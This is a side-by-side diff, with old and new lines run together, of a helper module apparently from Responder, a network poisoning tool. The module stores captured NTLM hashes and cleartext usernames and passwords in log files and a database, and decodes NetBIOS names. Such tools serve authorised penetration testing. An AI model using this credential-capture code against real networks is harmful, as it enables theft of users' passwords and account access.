sys.exit(-1) sys.exit(-1)
# Function used to write captured hashs to a file. # Function used to write captured hashs to a file.
def WriteData(outfile, data, user): def WriteData(outfile, data, user):
logging.info("[*] Captured Hash: %s" % data) logging.info("[*] Captured Hash: %s" % data)
if not os.path.isfile(outfile): if not os.path.isfile(outfile):
with open(outfile,"w") as outf: with open(outfile,"w") as outf:
outf.write(data) outf.write(data + '\n')
outf.write("\n") return
outf.close()
else:
with open(outfile,"r") as filestr: with open(outfile,"r") as filestr:
if re.search(user.encode('hex'), filestr.read().encode('hex')): if re.search(user.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return False return False
if re.search(re.escape("$"), user): elif re.search(re.escape("$"), user):
filestr.close()
return False return False
with open(outfile,"a") as outf2: with open(outfile,"a") as outf2:
outf2.write(data) outf2.write(data + '\n')
outf2.write("\n")
outf2.close()
def SaveToDb(result): def SaveToDb(result):
# Creating the DB if it doesn't exist # Creating the DB if it doesn't exist
if not os.path.exists(settings.Config.DatabaseFile): if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile) cursor = sqlite3.connect(settings.Config.DatabaseFile)
@ -169,32 +147,23 @@ def SaveToDb(result):
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname) logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
cursor = sqlite3.connect(settings.Config.DatabaseFile) cursor = sqlite3.connect(settings.Config.DatabaseFile)
# We add a text factory to support different charsets cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
cursor.text_factory = sqlite3.Binary
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user'])) res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user']))
(count,) = res.fetchone() (count,) = res.fetchone()
if count == 0: if not count:
# If we obtained cleartext credentials, write them to file
# Otherwise, write JtR-style hash string to file
with open(logfile,"a") as outf: with open(logfile,"a") as outf:
if len(result['cleartext']): if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s' % (result['user'], result['cleartext'])) outf.write('%s:%s\n' % (result['user'], result['cleartext']))
else: else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash']) outf.write(result['fullhash'] + '\n')
outf.write("\n")
outf.close()
# Update database
cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit() cursor.commit()
cursor.close() cursor.close()
# Print output
if count == 0 or settings.Config.Verbose:
if not count or settings.Config.Verbose: # Print output
if len(result['client']): if len(result['client']):
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))) print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
if len(result['hostname']): if len(result['hostname']):
@ -213,30 +182,22 @@ def SaveToDb(result):
# Appending auto-ignore list if required # Appending auto-ignore list if required
# Except if this is a machine account's hash # Except if this is a machine account's hash
if settings.Config.AutoIgnore and not result['user'].endswith('$'): if settings.Config.AutoIgnore and not result['user'].endswith('$'):
settings.Config.AutoIgnoreList.append(result['client']) settings.Config.AutoIgnoreList.append(result['client'])
print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1) print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)
else: else:
print color('[*]', 3, 1), 'Skipping previously captured hash for %s' % result['user'] print color('[*]', 3, 1), 'Skipping previously captured hash for %s' % result['user']
def Parse_IPV6_Addr(data): def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c": if data[len(data)-4:len(data)][1] =="\x1c":
return False return False
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01": elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
return True return True
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01": elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
return True return True
else:
return False return False
def Decode_Name(nbname): def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
#From http://code.google.com/p/dpkt/ with author's permission.
try: try:
from string import printable from string import printable
@ -248,12 +209,12 @@ def Decode_Name(nbname):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except: except:
return "Illegal NetBIOS name" return "Illegal NetBIOS name"
def NBT_NS_Role(data): def NBT_NS_Role(data):
Role = { return {
"\x41\x41\x00":"Workstation/Redirector", "\x41\x41\x00":"Workstation/Redirector",
"\x42\x4c\x00":"Domain Master Browser", "\x42\x4c\x00":"Domain Master Browser",
"\x42\x4d\x00":"Domain Controller", "\x42\x4d\x00":"Domain Controller",
@ -261,12 +222,10 @@ def NBT_NS_Role(data):
"\x42\x4f\x00":"Browser Election", "\x42\x4f\x00":"Browser Election",
"\x43\x41\x00":"File Server", "\x43\x41\x00":"File Server",
"\x41\x42\x00":"Browser", "\x41\x42\x00":"Browser",
} }.get(data, 'Service not known')
return Role[data] if data in Role else "Service not known"
def banner(): def banner():
banner = "\n".join([ banner = "\n".join([
' __', ' __',
' .----.-----.-----.-----.-----.-----.--| |.-----.----.', ' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
@ -282,6 +241,7 @@ def banner():
print " To kill this script hit CRTL-C" print " To kill this script hit CRTL-C"
print "" print ""
def StartupMessage(): def StartupMessage():
enabled = color('[ON]', 2, 1) enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1) disabled = color('[OFF]', 1, 1)
@ -331,21 +291,16 @@ def StartupMessage():
if settings.Config.Upstream_Proxy: if settings.Config.Upstream_Proxy:
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1) print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
if len(settings.Config.RespondTo): if len(settings.Config.RespondTo):
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1) print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
if len(settings.Config.RespondToName): if len(settings.Config.RespondToName):
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1) print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
if len(settings.Config.DontRespondTo): if len(settings.Config.DontRespondTo):
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1) print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
if len(settings.Config.DontRespondToName): if len(settings.Config.DontRespondToName):
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1) print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
print "\n\n"
print ""
print ""
# Useful for debugging # Useful for debugging
def hexdump(src, l=0x16): def hexdump(src, l=0x16):
@ -383,7 +338,3 @@ def hexdump(src, l=0x16):
res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text)) res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text))
return '\n'.join(res) return '\n'.join(res)
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length